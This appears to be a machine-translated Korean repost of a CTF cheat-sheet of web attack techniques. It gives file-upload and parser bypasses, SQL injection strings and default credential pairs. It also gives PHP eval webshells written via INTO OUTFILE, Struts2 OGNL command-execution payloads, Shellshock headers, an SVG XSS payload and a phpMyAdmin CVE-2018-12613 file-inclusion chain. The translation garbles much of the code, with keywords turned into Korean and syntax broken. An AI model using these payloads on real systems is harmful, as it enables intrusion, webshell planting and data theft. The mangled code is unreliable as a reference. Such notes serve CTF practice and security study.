CTF 노트 19.8.11-19.8.27

파일 업로드 취약점
PHP 업로드, 화이트리스트 파일을 고려 실패 (접미사 PHP5를 변경, PHP3)
IIS6 구문 분석 취약점 : /*.asp의 디렉토리에 업로드, ASP로 해석되는 파일, ASP 업로드 양식 도. TXT 말 또는 말 연결되어 (직접 연결 접속)

SQL 주입
숫자 주입 : 없음 작은 따옴표
문자 주입 (앞)와 작은 따옴표 후 주석 문자, 보편적 암호 '또는'1 '의 ='1 제외
블라인드 :
사용 가능한 도구, 절차, 트림을 지원하기 위해 발파
정기적으로 주사
1 1 = (여기서 TABLE_SCHEMA INFORMATION_SCHEMA.TABLES 1 선택 = "XXX"와 TABLE_NAME의 정규 표현식은 '^ 우리 [아리조나] 제한 0,1)
는 모두 정규 종래 블라인드, n은 1 가지 제한과 일치하지 N이다 : 참고 변경해야
같은 유사한 정규처럼 사용할
'RO %'()와 선택 사용자

약한 암호
관리자 관리자 / 관리자 admin888 / 관리자 123456 / 관리 도메인 / 시험 검사 / 시험 test123

파일 파싱 취약점
디렉토리 해결
/xx.asp/webshell.jpg의
/xx.asa/webshell.jpg의
파일을 구문 분석
JPG는 IIS6에 적용, webshell.asp을
취약점 분석 아파치를
test.php.xxx.yyy 접미사의 X 및 Y는 모든 인식입니다 이름
복사 xx.jpg / B + yy.txt / A xy.jpg 도 엄마 -> 구성 sp.jpg <PHP의 fputs (fopen의 ( 'payload.php 물품 ', 'w') '<PHP의 평가를 ?? ($ _POST [도니])> ');?> 고속 CGI 개방 0x02의 대 / .PHP 적절한 액세스가 sp.jpg / IIS 7.0 7.5 / Nginx의 버전 <= 8.03 IIS
고속으로 /xx.jpg%00.php을 -CGI 케이스 Nginx의 폐쇄 <0.8.37 =
드문 접미사
PHP 방향족 PHTML은 PHT는, PHP3는 PHP4는 PHP5는, pyc 내 및 이영표
htaccess로 사용
htaccess로 파일을 업로드 할 수 있고, 원래의 구성을 커버 할 수 있다면, 구성 파일이 기록된다 <FilesMatch "1"> SetHandler 애플리케이션 / X-아파치 - PHP </ FilesMatch>
조건을 가득 : 아파치의 설정 파일은 쓰기 :에 AllowOverride 모든
부하 모듈의 mod_rewrite를 아파치 설정 파일에 쓰기 :의 LoadModule rewrite_module /usr/lib/apache2/modules/mod_rewrite.so
sudo는은 다시 a2enmod (우분투에서 필요)
를 사용
htaccess로 쓰기 : MIME 유형 검토으로 AddType 응용 프로그램 / X-httpd- PHP를
또는 <FilesMatch "shell.jpg"> SetHandler 응용 프로그램 쓰기 / X-아파치 - PHP </ FilesMatch>를, PHP shell.jpg을 위해 해결 될 수
또는 물품 <FilesMatch "안녕하세요"> SetHandler 애플리케이션 / X-아파치 - PHP </ FilesMatch> 만큼 그들은 헬로 포함 PHP로 해석 될 때

쉘 물품 SQL
. (1 '). SELECT 유니온 1'<PHP 평가 후면 ($ _ POST가 [A])?> 문어와 OUTFILE /var/www/tmp/a.php'#으로 'OUTFILE에 "*** PHP는 전제가 : 단어의 사이트 부분에 대한 절대 경로를 알고하는 회전 진수 ***
가상의 경로가 정말 경로 파산 할 때 절대 경로가 OUTFILE로 쓸 수
등의 조합을 차폐로 바이 패스 바이 패스 공간이 해제 노조 이온으로 쓸 수있다

struct2 s2-16 허점이
조치를 찾은 다음 다음 코드를 구성 (index.action에 예를 들어 명령을 리디렉션 코드가 명령 ***의 역할을 수행하고 로컬 파일을 다운로드)
(index.action 리디렉션 :? A = $ {# 새로운 새로운 java.lang.ProcessBuilder (새 java.lang.String의 [{년대 = 새로운 java.io.InputStreamReader LS ','\ '})). (시작), B를 # = #의 a.getInputStream ()의 C # ( #B), D = #의 새로운 java.io.BufferedReader의 (#C) # 전자 = 새 문자 [50000], #의 d.read (#E) # 매트 = #의 context.get ( 'com.opensymphony.xwork2 .dispatcher.HttpServletResponse ')의 # matt.getWriter (). println 메소드 (#E)의 # matt.getWriter (). 플러시 ()의 # matt.getWriter (). 닫기 ()}
새로운 새 java.lang.String의 [] { '1!', '\' } 명령으로 ***는
index.action에 대한 콘텐츠 뒤에 :? 리디렉션 URL을 트랜스 코딩 할 수있을 필요가 있습니다
코드를 다음과 같이 사용할 수있는 에코 웹 사이트 절대 경로
index.action 리디렉션 : $ {# A = # context.get ( 'com.opensymphony.xwork2.dispatcher.HttpServletRequest')의 B # = #의 a.getSession ()의 C = # #의 b.getServletContext ()를 # D = #의 c.getRealPath ( "/"), # = # 매트의 context.get ( 'com.opensymphony.xwork2.dispatcher.HttpServletResponse')의 # matt.getWriter ().에 println (#D)의 # matt.getWriter () .flush ()의 # matt.getWriter (). 닫기 ()}
以上代码均为ONGL表达式

bash는 원격 명령 실행 취약점
CGI를 찾기 위해 검색 엔진 /cgi-bin/x.cgi 직접보고
악용 () {} + 명령 (트림 캡처와 연결 또는 사용자 에이전트에이 문)
명령의 예 :
() {}, 에코 / 빈 / 배쉬 -C 'CAT의 /key.txt'
() {}, 에코 / 빈 / LS /
에코 펑크 폐쇄

SVN 소스 코드를 유출 취약점
/.svn/entries 표시 웹 디렉토리 번호
, 다음 키와 같은 개방 SQLiteStudio 같은 데이터베이스 소프트웨어를 다운로드 할 수있는 데이터베이스 /.svn/wc.db (또는 TXT 이름 notpad를 ++ 열려고)보고

0일 우회
<SVG> <script되는 XLink 다음 HREF = 데이터 :, 경보 (1).> 수동 SVG를 사용하여 </ script> </ SVG> 태그

CVE-2018-12613에서 PHP 백엔드 파일 포함 취약점
전제 : 로그인 웹
열기 SQL에서, SELECT '<PHP는은 phpinfo ()?>,'쓰기
트림 캡처, 쿠키 (phpMyAdmin을 = XXX)를 기록
취약점이 포함 된 파일 사용
의 index.php를? DB = 대상 sql.php % 253F /../../../../../../../../../../../ TMP / 수신 세션 + 쿠키는 이전에 기록
(세션 저장 디렉토리 맥 OS로의 / var / tmp를 / 저장 리눅스의 세션 디렉토리는 / var / lib 디렉토리 / PHP / 세션 )
, 절대 경로를 찾을은 phpinfo의 경로를 찾을 수있는 사이트의
예 :의 / var / www / html /
통해 : 말 작성 OUTFILE 방법으로 SQL
; OUTFILE '/var/www/html/a.php'INTO 선택 (SELECT) '<PHP @eval ($ _ POST [A])?>'을

사출 HTTP 헤더 (X-전달됨 - 대)
또는 1 : 캡쳐는 X-전달됨 - 작성된 리피터로 보내 = 1
에러 주입있을 경우
선택 조합 ...함으로써 종래 주입 SQL (순서 하였다 .. .)

struct2 s2-04 허점
사용 패턴 / 스트럿 /../ 디렉토리 되돌아
우회 :하지 않을 경우 다시 인코딩 정상 명시 적 시도 이차 URL에 URL 인코딩 .. % 2 층 .. % 252f

struct2 s2-15 취약성 BR /> 시험 / $ {1 + 1} .action, 이 행해진 다 취약성
EXP : $ {# 컨텍스트 [ ' xwork.MethodAccessor.denyMethodExecution가'] 거짓 = #의 m = _ # memberAccess.getClass () .getDeclaredField ( 'allowStaticMethodAccess') , (사실 memberAccess #_) (참) # m.setAccessible, #의 m.set, # Q = @ org.apache.commons.io.IOUtils toString (@ java.lang의 @. @ getRuntime 런타임 () Exec에서 ( 'LS')를는 getInputStream ()), Q} #의 .action ..
우회 : URL 인코딩

매개 변수가 제출 :
? / + 매개 변수 매개 변수는 웹 사이트에 제출 될 수 있으며, 제출이 가능 트림을 수정할 수 있습니다

파일 읽기
의 index.php의 내용을 읽을 수 있습니다 JPG = hei.jpg, 재 index.php를 JPG = index.php를 index.php에 ?? 예를

생성됨에 의해 PhpStorm
PhpStorm의 .idea 파일은 자동으로 XML 파일의 집합을 포함하는 생성됩니다

추천

출처blog.51cto.com/14003082/2433044